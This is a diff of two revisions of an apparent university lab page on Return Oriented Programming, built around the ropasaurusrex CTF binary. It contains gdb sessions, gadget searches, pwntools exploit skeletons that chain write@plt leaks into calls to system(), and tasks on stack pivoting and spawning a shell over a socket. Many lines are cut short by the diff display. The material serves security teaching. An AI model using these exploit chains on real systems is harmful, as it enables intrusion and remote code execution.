This shows you the differences between two versions of the page.
Both sides previous revision Previous revision Next revision | Previous revision | ||
session:12 [2017/07/02 11:14] Laura-Cristina RUSE (23439) removed |
session:12 [2020/07/20 17:34] (current) Liza-Elena BABU (78556) [1. Challenge: Using ROP to Leak and Call system()] |
||
---|---|---|---|
Line 1: | Line 1: | ||
- | = 0x0B. Return Oriented Programming | + | ====== 0x0B. Return Oriented Programming |
- | == Slides | + | ===== Slides |
- | [[http:// | + | [[https:// |
- | == Tutorials | + | [[https:// |
- | === Quick Overview of Protection Mechanisms | + | [[https:// |
- | Since we have already covered most of the state of the art protection mechanisms against exploitation on Linux let's go over them one more time. | + | ===== Setup ===== |
- | To apply reconnaisance on a given binary it is best to use the [[ http:// | + | The ROPgadget version installed in the [[start|Kali virtual machine]] needs to be upgraded to work properly. Please use the command below (as '' |
- | Let's apply it on a random binary: | + | < |
- | < | + | pip install |
- | # checksec.sh | + | |
- | RELRO STACK CANARY | + | |
- | No RELRO No canary found NX enabled | + | |
</ | </ | ||
- | * NX, as we have seen, typically applies | + | In order to check if '' |
- | * Stack Canary refers to the guard value placed right before the return address that is tested in the sanity | + | < |
- | * PIE (Position Independent Executable) refers to binaries compiled in position independent mode. In these cases even the binary image is randomly offset (not at the usual 0x08048000). | + | ROPgadget |
- | * RELRO refers to the writability of the GOT section. More details [[http://tk-blog.blogspot.ro/2009/02/relro-not-so-well-known-memory.html | here]] | + | </code> |
- | Of course, to be able to use PIE the kernel needs to have ASLR support compiled in and enabled. | + | ===== Tutorials ===== |
- | <code bash> | + | In this lab we are going to dive deeper into ROP (//Return Oriented Programming// |
- | # checksec.sh --proc-all | head | + | * Intro to pwntools |
- | * System-wide | + | * ROP Recap |
+ | * Dealing with ASLR in ROP in 2 ways | ||
+ | * Dealing with low space in the overflown buffer | ||
+ | * Dealing with bare bones executables | ||
+ | * ROP for syscalls and 64 bits | ||
- | Description - Make the addresses | + | As the basis of the lab we will use a CTF challenge called **ropasaurusrex** |
- | This, among other things, implies that shared libraries will be loaded to random | + | |
- | addresses. Also for PIE-linked binaries, the location of code start is randomized. | + | |
- | See the kernel file ' | + | ==== Calling Conventions in the ROP Context ==== |
- | * Does the CPU support NX: Yes | + | As you know, the [[:session: |
- | </code> | + | In the images below we are using the [[https:// |
+ | {{ : | ||
- | In exploitation it is important to gauge your efforts: | + | Syscalls are special, the arguments are passed using the registers and **int 0x80** or the equivalent **call DWORD PTR gs:0x10** is used such that more work is needed: "pop ?; ret" gadgets are needed |
- | | + | |
- | | + | |
- | * when encountering ASLR remember | + | |
+ | In the listing below you see a disassembly of the calling of a system call, with the system call in the '' | ||
+ | <code asm> | ||
+ | # See man 2 syscall | ||
- | === Return Oriented Programming | + | gdb-peda$ pdis syscall |
+ | Dump of assembler code for function syscall: | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
- | {{ :session:rop.png?nolink& | + | The same happens for 64 bit function calls: |
+ | {{ :session:64_func.png?direct | ||
- | ==== Motivation | + | Syscalls on 64 bits are similar. The '' |
- | In the previous sessions we discussed | + | |
- | < | + | |
- | RET + 0x00: addr of system | + | |
- | RET + 0x04: | + | |
- | RET + 0x08: | + | |
- | </ | + | |
- | However, what happens when you need to call multiple functions? Say you need to call f1() and then f2(0xAB, 0xCD)? The payload should be: | + | < |
- | < | + | gdb-peda$ pdis syscall |
- | RET + 0x00: addr of f1 | + | Dump of assembler code for function syscall: |
- | RET + 0x04: addr of f2 (return address after f1 finishes) | + | 0x00000000000e4ac0 <+0>: mov rax,rdi |
- | RET + 0x08: JUNK (return address after f2 finishes: we don't care about what happens after the 2 functions are called) | + | |
- | RET + 0x0c: 0xAB (param1 of f2) | + | |
- | RET + 0x10: | + | 0x00000000000e4ac9 <+9>: mov rdx,rcx |
- | </code> | + | 0x00000000000e4acc |
- | What about if we need to call f1(0xAB, 0xCD) and then f2(0xEF, 0x42) ? | + | 0x00000000000e4acf |
- | <code> | + | 0x00000000000e4ad2 <+18>: mov r9,QWORD PTR [rsp+0x8] |
- | RET + 0x00: addr of f1 | + | 0x00000000000e4ad7 <+23>: syscall |
- | RET + 0x04: addr of f2 (return address after f1 finishes) | + | |
- | RET + 0x08: 0xAB (param1 of f1) | + | |
- | RET + 0x0c: | + | |
- | RET + 0x10: 0x42 (param2 of f2) | + | |
</ | </ | ||
- | This kind of conflict can be resolved using Return Oriented Programming, | ||
- | ==== NOP analogy | + | ==== Intro to pwntools ==== |
- | While '' | + | |
- | Let's explore an example: | + | |
- | <code c> | + | |
- | int main() | + | |
- | { | + | |
- | char a[16]; | + | |
- | read(0, a, 100); | + | |
- | return 0; | + | Writing exploits in command line using expressions such as the following is prone to errors: |
- | } | + | |
+ | <code sh> | ||
+ | echo " | ||
</ | </ | ||
- | This code obviously suffers from a stack buffer overflow. The offset to the return address is 28. So dwords from offset 28 onwards will be popped from the stack and executed. | ||
- | Remember the NOP sled concept from previous sessions? These were long chains of NOP instructions (" | ||
- | Since we can't add any new code to the program (NX is enabled) how could we simulate the effect of a NOP sled? Easy! Using return instructions! | ||
- | <code bash> | ||
- | # objdump | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | | ||
- | </ | ||
- | Any and all of these addresses will be ok. The payload could be the following: | ||
- | < | ||
- | RET + 0x00: | ||
- | RET + 0x04: | ||
- | RET + 0x08: | ||
- | RET + 0x0c: | ||
- | RET + 0x10: | ||
- | ..... | ||
- | </ | ||
- | The original ret (in the normal code flow) will pop RET+0x00 off the stack and jump to it. When it gets popped the stack is automatically increased by 4 (on to the next value). The instruction at '' | ||
- | That payload | + | Writing the equivalent in Python |
- | < | + | < |
- | RET + 0x00: | + | gadget = 0x08042a43 |
- | RET + 0x04: | + | print " |
- | RET + 0x08: | + | |
- | RET + 0x0c: | + | |
- | RET + 0x10: | + | |
- | ..... | + | |
</ | </ | ||
- | Notice the addresses are different but because they all point to a '' | ||
- | <note warning> | + | However, exploitation rarely requires only a static payload. ASLR usually makes the exploit developer work harder |
- | Take a moment to fully understand what is happening here. Run your own program | + | * local exploitation |
- | Follow along using this skeleton | + | * auto gdb attach: http://docs.pwntools.com/ |
- | </note> | + | * rop gadget search |
- | <file python skel.py> | + | * shellcode generation: http://docs.pwntools.com/ |
- | #!/usr/bin/python | + | * plenty other |
- | import struct, sys | + | |
- | def dw(i): | + | Without using the advanced capabilities of pwntools a common exploit skeleton would look like the following: |
- | return struct.pack("< | + | |
- | #TODO update count for your prog | + | <code python> |
- | pad_count_to_ret = 100 | + | from pwn import |
- | payload = " | + | |
- | #TODO figure out the rop chain | + | local = True |
- | payload += dw(0xcafebeef) | + | |
- | payload += dw(0xdeadc0de) | + | |
+ | if not local: | ||
+ | HOST = " | ||
+ | PORT = 4242 | ||
+ | io = remote(HOST, | ||
+ | else: | ||
+ | io = process(" | ||
- | sys.stdout.write(payload) | ||
- | </ | ||
+ | #write exploit | ||
+ | ropchain = p32(system) + " | ||
+ | payload = " | ||
- | ==== Gadgets & ROP chains | + | # |
- | Now that we have a sort of neutral primitive equivalent to a NOP let's actually do something useful. | + | io.recvuntil(" |
- | The building blocks of ROP payloads are called gadgets. These are blocks of instructions that end with a ' | + | |
- | Here are some ' | + | |
- | < | + | |
- | 0x8048443: pop ebp; ret | + | |
- | 0x80484a7: pop edi; pop ebp; ret | + | |
- | 0x8048441: mov ebp,esp; pop ebp; ret | + | |
- | 0x80482da: pop eax; pop ebx; leave; ret | + | |
- | 0x80484c3: pop ecx; pop ebx; leave; ret | + | |
- | </ | + | |
- | By carefully stitching such gadgets on the stack we can bring code execution to almost any context we want. | + | #trigger |
- | As an example let's say we would like to load 0x41424344 into eax and 0x61626364 into ebx. The payload | + | io.sendline(payload) |
- | < | + | |
- | RET + 0x00: | + | |
- | RET + 0x04: | + | |
- | RET + 0x08: | + | |
- | RET + 0x0c: | + | |
- | </ | + | |
- | * First the ret addr is popped from the stack and execution goes there. | + | |
- | * At '' | + | |
- | * At '' | + | |
- | * At '' | + | |
- | * At '' | + | |
- | We have now seen how gadgets can be useful if we want the CPU to achieve a certain state. This is particularly useful on other architectures such as ARM and x86_64 where functions do not take parameters from the stack but from registers. | ||
- | As an example, if we want to call f1(0xAB, 0xCD, 0xEF) on x86_64 we first need to know the calling convention for the first three parameters: | ||
- | * 1st param: RDI | ||
- | * 2nd param: RSI | ||
- | * 3rd param: RDX | ||
- | Next we would need gadgets for each. Let's assume these 2 scenarios: | ||
- | Scenario 1: | ||
- | < | ||
- | 0x400124: | ||
- | 0x400235: | ||
- | 0x400440: | ||
- | Payload: | + | #switch to interactive input from the user to control the opened shell |
- | RET + 0x00: | + | io.interactive() |
- | RET + 0x08: val of RDI (0xAB) | + | |
- | RET + 0x10: val of RSI (0xCD) | + | |
- | RET + 0x18: | + | |
- | RET + 0x20: val of RDX | + | |
- | RET + 0x28: f1 | + | |
</ | </ | ||
- | Scenario 2: | + | In the snippet above the following happens: |
- | < | + | |
- | 0x400125: | + | |
- | 0x400252: | + | |
- | 0x400235: | + | |
- | 0x400440: | + | |
- | Payload: | + | ==== Challenge 0 walkthrough ==== |
- | RET + 0x00: | + | |
- | RET + 0x08: val of RDI (0xAB) | + | |
- | RET + 0x10: | + | |
- | RET + 0x18: val of RSI (0xCD) | + | |
- | RET + 0x20: | + | |
- | RET + 0x28: val of RDX | + | |
- | RET + 0x30: f1 | + | |
- | </ | + | |
- | Notice that because the architecture is 64 bits wide, the values on the stack are not dwords but qwords (quad words: 8 bytes wide) | + | |
+ | Let's do a walkthrough/ | ||
- | The second use of gadgets is to clear the stack. Remember the issue we had in the **Motivation** section? Let's solve it using gadgets. | + | First we need to look in the binary |
- | We need to call f1(0xAB, 0xCD) and then f2(0xEF, 0x42). Our initial solution was: | + | |
< | < | ||
- | RET + 0x00: addr of f1 | + | # objdump -d -M intel ropasaurusrex1 |
- | RET + 0x04: addr of f2 (return address after f1 finishes) | + | [...] |
- | RET + 0x08: 0xAB (param1 of f1) | + | |
- | RET + 0x0c: 0xCD (param2 of f1) but this should also be 0xEF (param1 of f2) | + | 80483f5: 89 e5 mov ebp,esp |
- | RET + 0x10: 0x42 (param2 of f2) | + | 80483f7: 81 ec 98 00 00 00 sub esp,0x98 |
+ | 80483fd: c7 44 24 08 00 01 00 mov DWORD PTR [esp+0x8], | ||
+ | | ||
+ | 8048405: 8d 85 78 ff ff ff lea eax, | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | [...] | ||
</ | </ | ||
- | The problem is that those parameters of f1 are getting in the way of calling f2. We need to find a **pop pop ret** gadget. The actual registers are not important. | + | We could do computations based on assembly output, but we can make things easier by using a cyclic pattern and obtain the offset to EBP: |
- | < | + | < |
- | RET + 0x00: addr of f1 | + | # gdb -q ./ |
- | RET + 0x04: addr of (pop eax, pop ebx, ret) | + | Reading symbols from ./ |
- | RET + 0x08: | + | gdb-peda$ pattc 300 |
- | RET + 0x0c: 0xCD (param2 of f1) | + | ' |
- | RET + 0x10: addr of f2 | + | gdb-peda$ run |
- | RET + 0x14: JUNK | + | Starting program: / |
- | RET + 0x18: 0xEF (param1 of f2) | + | AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%; |
- | RET + 0x1c: 0x42 (param2 of f2) | + | |
- | </ | + | Program received signal SIGSEGV, Segmentation fault. |
- | Now we can even call the next function f3 if we repeat the trick: | + | [----------------------------------registers-----------------------------------] |
- | <code> | + | EAX: 0x100 |
- | RET + 0x00: addr of f1 | + | EBX: 0x0 |
- | RET + 0x04: addr of (pop eax, pop ebx, ret) | + | ECX: 0xffffd5f0 |
- | RET + 0x08: 0xAB (param1 of f1) | + | EDX: 0x100 |
- | RET + 0x0c: 0xCD (param2 of f1) | + | ESI: 0x1 |
- | RET + 0x10: addr of f2 | + | EDI: 0xf7fb0000 --> 0x1b3db0 |
- | RET + 0x14: addr of (pop eax, pop ebx, ret) | + | EBP: 0x41514141 (' |
- | RET + 0x18: 0xEF (param1 of f2) | + | ESP: 0xffffd680 |
- | RET + 0x1c: 0x42 (param2 of f2) | + | EIP: 0x41416d41 |
- | RET + 0x20: addr of f3 | + | EFLAGS: 0x10217 |
+ | [-------------------------------------code-------------------------------------] | ||
+ | Invalid $PC address: 0x41416d41 | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xffffd680 | ||
+ | 0004| 0xffffd684 (" | ||
+ | 0008| 0xffffd688 (" | ||
+ | 0012| 0xffffd68c (" | ||
+ | 0016| 0xffffd690 (" | ||
+ | 0020| 0xffffd694 (" | ||
+ | 0024| 0xffffd698 (" | ||
+ | 0028| 0xffffd69c (" | ||
+ | [------------------------------------------------------------------------------] | ||
+ | Legend: code, data, rodata, value | ||
+ | Stopped reason: SIGSEGV | ||
+ | 0x41416d41 in ?? () | ||
+ | gdb-peda$ patto $ebp | ||
+ | 1095844161 found at offset: 136 | ||
+ | |||
+ | gdb-peda$ searchmem " | ||
+ | Searching for ' | ||
+ | Found 23 results, display max 23 items: | ||
+ | ropasaurusrex1 : 0x8048001 --> 0x1464c45 | ||
+ | ropasaurusrex1 : 0x8049001 --> 0x1464c45 | ||
+ | libc : 0xf7dfc001 --> 0x1464c45 | ||
+ | [vdso] : 0xf7fd8001 | ||
+ | [...] | ||
+ | gdb-peda$ x/s 0x8048001 | ||
+ | 0x8048001: " | ||
</ | </ | ||
+ | We know the offset from the start of the buffer to the '' | ||
- | === Some useful ninja tricks | + | an address of the //ELF// string ('' |
- | ==== Memory spraying | + | Let' |
- | Let' | + | |
- | <code c> | + | |
- | int main() | + | |
- | { | + | |
- | int x, y ,z; | + | |
- | char a,b,c; | + | |
- | char buf[23]; | + | |
- | read(0, buf, 100); | + | |
- | return 0; | + | < |
- | } | + | from pwn import * |
- | </code> | + | |
- | A fairly simple overflow, right? How fast can you figure out the offset to the return address? How much padding do you need ? | + | local = True |
- | There is a shortcut that you can use to figure this out in under 30 seconds without looking at the assembly. | + | |
- | A [[ https://en.wikipedia.org/wiki/ | + | if not local: |
+ | HOST = "host.name" | ||
+ | PORT = 4242 | ||
+ | io = remote(HOST, | ||
+ | else: | ||
+ | io = process(" | ||
- | Peda can help you do this. Here's how: | ||
- | <code bash> | ||
- | gdb-peda$ help pattern_create | ||
- | Generate a cyclic pattern | ||
- | Usage: | ||
- | pattern_create size [file] | ||
- | gdb-peda$ pattern_create 100 | + | # Create ROP chain. |
- | ' | + | |
- | gdb-peda$ help pattern_offset | + | # man 2 write: |
- | Search for offset of a value in cyclic pattern | + | # |
- | Usage: | + | |
- | | + | |
- | gdb-peda$ pattern_offset AA8A | + | write_plt = 0x804830c |
- | AA8A found at offset: 76 | + | fd = 1 |
+ | buf = 0x08048001 | ||
+ | count = 3 | ||
+ | ropchain = p32(write_plt) + " | ||
+ | |||
+ | |||
+ | # Create payload. Use junk value for EBP. | ||
+ | ebp = 0x41424344 | ||
+ | payload = " | ||
+ | |||
+ | # Trigger exploit by sending payload to standard input. | ||
+ | io.sendline(payload) | ||
+ | |||
+ | |||
+ | # Print output as hex. | ||
+ | rop_output = io.recv(3) | ||
+ | print hexdump(rop_output) | ||
</ | </ | ||
- | Things can even get more complex: if you insert such patterns as input to the program you can search for signs of where it got placed using peda. Here's how to figure out the offset to the return address in 3 commands for the previous program | + | The output is as expected: |
- | < | + | < |
- | # gdb -q ./a | + | [+] Started program './ropasaurusrex1' |
- | Reading symbols from ./a...(no debugging symbols found)...done. | + | 00000000 |
- | gdb-peda$ pattern_create 200 | + | 00000003 |
- | 'AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A' | + | [*] Program |
- | gdb-peda$ run | + | </ |
- | AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7AAIAAiAA8AAJAAjAA9AAKAAkAALAAlAAMAAmAANAAnAAOAAoAAPAApAAQAAqAARAArAASAAsAATAAtAAUAAuAAVAAvAAWAAwAAXAAxAAYAAyAAZAAzAaaAa0AaBAabAa1A | + | |
- | Program received signal SIGSEGV, Segmentation fault. | ||
- | [----------------------------------registers-----------------------------------] | ||
- | EAX: 0x0 | ||
- | EBX: 0xf7f97e54 --> 0x1a6d5c | ||
- | ECX: 0xffffcd49 (" | ||
- | EDX: 0x64 (' | ||
- | ESI: 0x0 | ||
- | EDI: 0x0 | ||
- | EBP: 0x41334141 (' | ||
- | ESP: 0xffffcd70 (" | ||
- | EIP: 0x41414541 (' | ||
- | EFLAGS: 0x10207 (CARRY PARITY adjust zero sign trap INTERRUPT direction overflow) | ||
- | [-------------------------------------code-------------------------------------] | ||
- | Invalid $PC address: 0x41414541 | ||
- | [------------------------------------stack-------------------------------------] | ||
- | 0000| 0xffffcd70 (" | ||
- | 0004| 0xffffcd74 (" | ||
- | 0008| 0xffffcd78 (" | ||
- | 0012| 0xffffcd7c (" | ||
- | 0016| 0xffffcd80 (" | ||
- | 0020| 0xffffcd84 (" | ||
- | 0024| 0xffffcd88 (" | ||
- | 0028| 0xffffcd8c (" | ||
- | 0032| 0xffffcd90 (" | ||
- | 0036| 0xffffcd94 (" | ||
- | 0040| 0xffffcd98 (" | ||
- | 0044| 0xffffcd9c (" | ||
- | 0048| 0xffffcda0 (" | ||
- | 0052| 0xffffcda4 (" | ||
- | 0056| 0xffffcda8 (" | ||
- | 0060| 0xffffcdac --> 0x6c (' | ||
- | [------------------------------------------------------------------------------] | + | ===== Challenges ===== |
- | Legend: code, data, rodata, value | + | |
- | Stopped reason: SIGSEGV | + | |
- | 0x41414541 in ?? () | + | |
+ | ==== 1. Challenge: Using ROP to Leak and Call system() ==== | ||
+ | Having completed the recap in the walkthrough above let's proceed to more advanced things. Use the '' | ||
- | gdb-peda$ pattern_search | + | You can now call the functions in the binary but '' |
- | Registers contain pattern buffer: | + | |
- | EIP+0 found at offset: 35 | + | |
- | EBP+0 found at offset: 31 | + | |
- | Registers point to pattern buffer: | + | |
- | [ECX] --> offset 0 - size ~100 | + | |
- | [ESP] --> offset 39 - size ~61 | + | |
- | Pattern buffer found at: | + | |
- | 0xffffcd49 : offset | + | |
- | 0xffffd1c6 : offset 23424 - size 4 ($sp + 0x456 [277 dwords]) | + | |
- | 0xffffd1d8 : offset 22930 - size 4 ($sp + 0x468 [282 dwords]) | + | |
- | 0xffffd276 : offset 48535 - size 4 ($sp + 0x506 [321 dwords]) | + | |
- | References to pattern buffer found at: | + | |
- | 0xffffcd20 : 0xffffcd49 | + | |
- | 0xffffcd34 : 0xffffcd49 | + | |
+ | < | ||
+ | If you have a string representation of a number you can unpack it using the '' | ||
+ | |||
+ | If you want to print a binary representation of a number you can use, in Python, for example | ||
+ | < | ||
+ | print " | ||
</ | </ | ||
- | + | If you want to make computations in the command line (such as subtracting an address from another address) | |
- | ==== Vulnerable function identification | + | < |
- | As you can see from above, the base pointer gets trashed so backtracing is not possible | + | python |
- | < | + | |
- | gdb-peda$ bt | + | |
- | #0 0x41414541 in ?? () | + | |
- | #1 0x34414165 in ?? () | + | |
- | #2 0x41464141 in ?? () | + | |
- | #3 0x41416641 in ?? () | + | |
</ | </ | ||
- | If this program was larger you wouldn' | + | </note> |
- | You can set a breakpoint on all declared functions (if the program has not been stripped) using **rbreak** and then ignoring them: | + | |
- | <code bash> | + | |
- | gdb-peda$ rbreak | + | |
- | Breakpoint 1 at 0x80482d4 | + | |
- | < | + | |
- | Breakpoint 2 at 0x8048310 | + | |
- | < | + | |
- | Breakpoint 3 at 0x8048320 | + | |
- | < | + | |
- | Breakpoint 4 at 0x8048330 | + | |
- | < | + | |
- | Breakpoint 5 at 0x8048340 | + | |
- | < | + | |
- | Breakpoint 6 at 0x8048370 | + | |
- | < | + | |
- | Breakpoint 7 at 0x804843f | + | |
- | < | + | |
- | Breakpoint 8 at 0x8048470 | + | |
- | < | + | |
- | Breakpoint 9 at 0x80484e0 | + | |
- | < | + | |
- | Breakpoint 10 at 0x80484e4 | + | |
- | < | + | |
+ | Follow the steps shown below. | ||
- | gdb-peda$ commands | + | First, trigger the information leak by calling the '' |
- | Type commands for breakpoint(s) 1-10, one per line. | + | |
- | End with a line saying just " | + | |
- | > | + | |
- | >end | + | |
+ | <note tip> | ||
+ | You can use the GOT table storing libc addresses. | ||
+ | </ | ||
- | gdb-peda$ run | + | You need to read the output from the above '' |
- | Starting program: / | + | |
- | warning: | + | |
- | warning: Could not load shared library symbols for linux-gate.so.1. | + | <note tip> |
- | Do you need "set solib-search-path" | + | You need to discard from the stack the '' |
+ | </ | ||
- | Breakpoint 4, 0x08048330 in __libc_start_main@plt | + | Find the address of the '' |
- | Breakpoint 8, 0x08048470 in __libc_csu_init | + | <note tip> |
+ | To find out the address of the '' | ||
+ | </ | ||
- | Breakpoint 6, 0x08048370 in __x86.get_pc_thunk.bx () | + | /* |
- | Breakpoint 1, 0x080482d4 in _init () | + | <note tip> |
+ | As an alternative, more cumbersom method, fire up GDB on the libc library and save the offset of the function you want to leak and '' | ||
+ | < | ||
+ | root@kali: | ||
+ | linux-gate.so.1 (0xf7780000) | ||
+ | libc.so.6 => / | ||
+ | / | ||
+ | root@kali: | ||
+ | Reading symbols from / | ||
+ | gdb-peda$ p system | ||
+ | $1 = {<text variable, no debug info>} 0x3ab20 < | ||
+ | gdb-peda$ p read | ||
+ | $2 = {<text variable, no debug info>} 0xd7d70 < | ||
+ | gdb-peda$ p write | ||
+ | $3 = {<text variable, no debug info>} 0xd7df0 < | ||
+ | </ | ||
- | Breakpoint 6, 0x08048370 | + | Alternatively you can print addresses |
- | Breakpoint 7, 0x0804843f in main () | + | After the leak subtract the saved offset from it. You now have the libc base address |
+ | </ | ||
- | Breakpoint 2, 0x08048310 in read@plt () | + | */ |
- | AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfAA5AAGAAgAA6AAHAAhAA7 | + | Call '' |
- | Program received signal SIGSEGV, Segmentation fault. | + | <note tip> |
- | 0x41414541 | + | You can't write the '' |
- | </ | + | |
+ | To write an entry in the GOT table use the '' | ||
- | ==== ROP payload debugging | + | For the actual parameter use the '' |
- | When you know what the offending function is, disassemble it and break on "ret" | + | </note> |
- | <code bash> | + | ==== 2. Challenge: Handling Low Stack Space ==== |
- | gdb-peda$ pdis main | + | |
- | Dump of assembler code for function main: | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | End of assembler dump. | + | |
- | gdb-peda$ b *0x08048467 | + | |
- | Breakpoint 1 at 0x8048467 | + | |
+ | The previous binary had the luxury of plenty of stack space to be overflown. It is often the case that we don't have enough space for a long ROP chain. Let's handle that. | ||
- | AAAaAA0AABAAbAA1AACAAcAA2AADAAdAA3AAEAAeAA4AAFAAfA | + | For the current task, switch to the '' |
- | [----------------------------------registers-----------------------------------] | + | |
- | EAX: 0x0 | + | |
- | EBX: 0xf7f97e54 --> 0x1a6d5c | + | |
- | ECX: 0xffffcd49 (" | + | |
- | EDX: 0x64 ('d') | + | |
- | ESI: 0x0 | + | |
- | EDI: 0x0 | + | |
- | EBP: 0x41334141 ('AA3A') | + | |
- | ESP: 0xffffcd6c (" | + | |
- | EIP: 0x8048467 (< | + | |
- | EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow) | + | |
- | [-------------------------------------code-------------------------------------] | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | => 0x8048467 < | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | | + | |
- | [------------------------------------stack-------------------------------------] | + | |
- | 0000| 0xffffcd6c --> 0xf7e333e0 (< | + | |
- | 0004| 0xffffcd70 --> 0x80484cf (< | + | |
- | 0008| 0xffffcd74 --> 0xf7f56be6 ("/ | + | |
- | 0012| 0xffffcd78 --> 0xf7e25c00 (< | + | |
+ | Find out how much space you have in the overflow and assess the situation. | ||
- | gdb-peda$ patto AEAAeAA4AAFAAfA | + | <note tip> |
- | AEAAeAA4AAFAAfA found at offset: 35 | + | Use '' |
- | </code> | + | </note> |
- | Then you can break on all called functions or step as needed to see if the payload is doing what you want it to. | + | Now follow |
+ | First trigger the info leak as before. | ||
- | ==== checksec in peda | + | <note tip> |
- | <code bash> | + | Use '' |
- | gdb-peda$ checksec | + | </note> |
- | CANARY | + | |
- | FORTIFY | + | |
- | NX : ENABLED | + | |
- | PIE : disabled | + | |
- | RELRO : Partial | + | |
- | </code> | + | |
+ | You can only construct a partial ropchain. A longer one won't fit. So after calling '' | ||
- | ==== gadget finding in peda | + | <note warning> |
- | Apart from **objdump** which only finds aligned instructions, | + | Note that using '' |
- | <code bash> | + | </note> |
- | gdb-peda$ start | + | |
- | .... | + | |
- | gdb-peda$ dumprop | + | |
- | Warning: this can be very slow, do not run for large memory range | + | |
- | Writing ROP gadgets to file: a-rop.txt ... | + | |
- | 0x8048467: ret | + | |
- | 0x804835d: iret | + | |
- | 0x804838f: repz ret | + | |
- | 0x80483be: ret 0xeac1 | + | |
- | 0x80483a9: leave; ret | + | |
- | 0x80485b4: inc ecx; ret | + | |
- | 0x80484cf: pop ebp; ret | + | |
- | 0x80482f5: pop ebx; ret | + | |
- | 0x80484df: nop; repz ret | + | |
- | 0x80483a8: ror cl,1; ret | + | |
- | 0x804838e: add dh,bl; ret | + | |
- | 0x80483e5: ror cl,cl; ret | + | |
- | 0x8048465: add cl,cl; ret | + | |
- | 0x804840b: leave; repz ret | + | |
- | 0x8048371: sbb al,0x24; ret | + | |
- | 0x80485b3: adc al,0x41; ret | + | |
- | 0x8048370: mov ebx,[esp]; ret | + | |
- | 0x80484de: nop; nop; repz ret | + | |
- | 0x80483a7: call eax; leave; ret | + | |
- | 0x80483e4: call edx; leave; ret | + | |
- | 0x804840a: add ecx,ecx; repz ret | + | |
- | 0x80484ce: pop edi; pop ebp; ret | + | |
- | </code> | + | |
- | Something finer is: | + | <note tip> |
- | <code bash> | + | Find the address of '' |
- | gdb-peda$ asmsearch "pop ? ; ret" | + | |
- | 0x080482f5 : (5bc3) pop ebx; ret | + | |
- | 0x080484cf : (5dc3) pop ebp; ret | + | |
- | 0x080484f6 : (5bc3) pop | + | |
- | gdb-peda$ asmsearch "pop ? ; pop ? ; ret" | + | After calling main again you will get back to the initial situation where you can exploit the buffer overflow. |
- | 0x080484ce : (5f5dc3) pop | + | </ |
- | gdb-peda$ asmsearch "call ?" | + | Call '' |
- | 0x080483a7 : (ffd0) call eax | + | |
- | 0x080483e4 : (ffd2) call edx | + | |
- | 0x0804842f : (ffd0) call | + | |
- | </code> | + | <note tip> |
+ | Use a new ropchain to call '' | ||
+ | </note> | ||
+ | ==== 3. Challenge: Stack Pivoting ==== | ||
- | ==== Anti-anti-debugging and others | + | Let's assume that '' |
- | There can be various annoyances in binaries: **ptrace** calls for anti-debugging, | + | |
- | These can all be deactivated using **unptrace** | + | |
+ | <note tip> | ||
+ | Read more about stack pivoting here: http:// | ||
+ | </ | ||
+ | Tour goal is to fill the actual ROP chain to a large enough memory area. We need a two stage exploit: | ||
+ | - In the first stage, prepare the memory area where to fill the second stage ROP chain; then fill the memory area with the second stage ROP chain. | ||
+ | - In the second stage, create the actual ROP chain and feed it to the program and profit. | ||
- | == Tasks | + | Follow the steps below. |
- | Download | + | Use '' |
- | === Task1: gadget tut | + | Create a first stage payload that calls '' |
- | This task requires | + | |
+ | <note tip> | ||
+ | At a given address in the executable | ||
+ | |||
+ | The '' | ||
< | < | ||
- | Hello! | + | mov esp, ebp |
- | stage A!stage B! | + | pop ebp |
</ | </ | ||
- | Make it also print the messages in reverse order: | + | </ |
+ | |||
+ | Write the actual ROP chain as a second stage payload like when we didn't have space constraints. The 2nd stage will be stored to the memory area and the stack pointer will point to that. | ||
+ | |||
+ | <note tip> | ||
+ | Pay attention to how the 2nd stage payload should look like. The '' | ||
< | < | ||
- | Hello! | + | mov esp, ebp |
- | stage B!stage A! | + | pop ebp |
</ | </ | ||
+ | </ | ||
+ | /*==== 4. Challenge [Hard]: Change Memory Protection and Write Shellcode ==== | ||
- | === Task2: echo service | + | We want to exploit |
- | This task is a network service that can be exploited. Run it locally and try to exploit it. You'll find that if you call system("/ | + | |
- | So you will need to do the equivalent | + | Go the '' |
- | <code c> | + | |
- | dup2(sockfd, 1); | + | <note important> |
- | dup2(sockfd, 0); | + | Note how system calls are made, what registers |
- | system("/ | + | </note> |
- | </ | + | |
+ | The idea is to change the memory protection of the data section of the executable such that it will also be executable. Then feed a shellcode to it to that now writable and executable memory are and execute the shellcode. | ||
+ | |||
+ | Follow the steps below. | ||
+ | |||
+ | Prepare for doing an '' | ||
+ | |||
+ | <note tip> | ||
+ | You can use a " | ||
+ | |||
